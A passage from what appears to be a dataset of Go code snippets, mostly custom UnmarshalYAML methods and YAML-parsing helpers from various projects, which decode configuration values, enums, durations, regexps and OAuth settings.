unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}","func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}","func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}","func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}","func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}","func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}","func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}","func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}","func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}","func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}","func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}","func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}","func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}","func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}","func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}","func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}","func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}","func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain MailConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*f, err = NewField(s)\n\treturn err\n}","func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}","func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}","func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}","func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}","func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}","func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}","func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}","func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}","func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}","func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}","func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}","func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ChannelNameString(s)\n\treturn err\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 